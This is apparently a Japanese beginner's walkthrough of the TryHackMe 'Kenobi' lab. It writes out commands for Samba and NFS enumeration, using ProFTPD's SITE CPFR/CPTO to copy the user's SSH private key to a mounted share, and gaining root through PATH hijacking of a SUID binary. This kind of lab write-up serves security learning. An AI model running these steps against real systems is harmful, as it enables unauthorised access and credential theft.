攻略するRoomは気分で決める方、のみぞうです。
Linuxマシンの攻略に触れたいなと思ってビギナーパスの中からこちらを選びました。
スターウォーズに全然詳しくないのでなぜこのRoomがケノービと名付けられているのかピンと来ません。だれか教えて。
もくじ
- Task 1 Deploy the vulnerable machine
- Task 2 Enumerating Samba for shares
- Task 3 Gain initial access with ProFtpd
- What is the version?
- How many exploits are there for the ProFTPd running?
- We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
- We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.
- What is Kenobi’s user flag (/home/kenobi/user.txt)?
- Task 4 Privilege Escalation with Path Variable Manipulation
Task 1 Deploy the vulnerable machine
Make sure you’re connected to our network and deploy the machine
No answer needed
Scan the machine with nmap, how many ports are open?
お約束のポートスキャン
export IP = "ターゲットマシンのIPアドレス"
nmap -sV -sC -vv -oN initial.nmap $IP
Task 2 Enumerating Samba for shares
Using the nmap command above, how many shares have been found?
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
を使うと共有の数がわかる。
Once you’re connected, list the files on the share. What is the file can you see?
共有かかってるフォルダに
smbclient //<ip>/anonymous
で接続する。途中でパスワードを聞かれるがアノニマスなのでそのままEnterを押す。
lsでファイルの一覧表示。
そのままgetしてもよいが、まとめてダウンロードしたいときは
smbget -R smb://$IP/anonymous
What port is FTP running on?
そのままだけど一応ダウンロードしてきたログファイルをみる。
What mount can we see?
ポート111のrpcbindを探索をする。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP
Task 3 Gain initial access with ProFtpd
What is the version?
ためしに繋いでみる
How many exploits are there for the ProFTPd running?
SearchsploitでProFTPDの脆弱性をさがす。
# metasploitを起動
msfconsole
# searchsploit使って検索
searchsploit ProFTPD 1.3.5
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
No answer needed
sshの秘密鍵をマウント可能な領域に移動する。
nc $IP 21
# コピー元のファイルを指定する
SITE CPFR /home/kenobi/.ssh/id_rsa
# コピー先を指定する
SITE CPTO /var/tmp/id_rsa
We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.
No answer needed
What is Kenobi’s user flag (/home/kenobi/user.txt)?
varディレクトリをマウントする
mkdir /mnt/kenobiNFS
mount $IP:/var /mnt/kenobiNFS
秘密鍵をコピーして使う(chmodで権限を追加する必要がある)
cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@$IP
ケノービとしてログインができる。これがフォースの力…(ちがう)
Task 4 Privilege Escalation with Path Variable Manipulation
What file looks particularly out of the ordinary?
SUIDが設定されたバイナリをさがす
find / -perm -u=s -type f 2>/dev/null
答えは/usr/bin/menuなんだけど、どうしてこれに目をつけるのかよくわからない(総当たりしちゃった…)
Run the binary, how many options appear?
実行してみる
this file being run as root it runs our shell as root!
No answer needed
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
すごい。こんなこともできるんだなー。
What is the root flag (/root/root.txt)?
cat /root/root.txt
今回はこのへんで。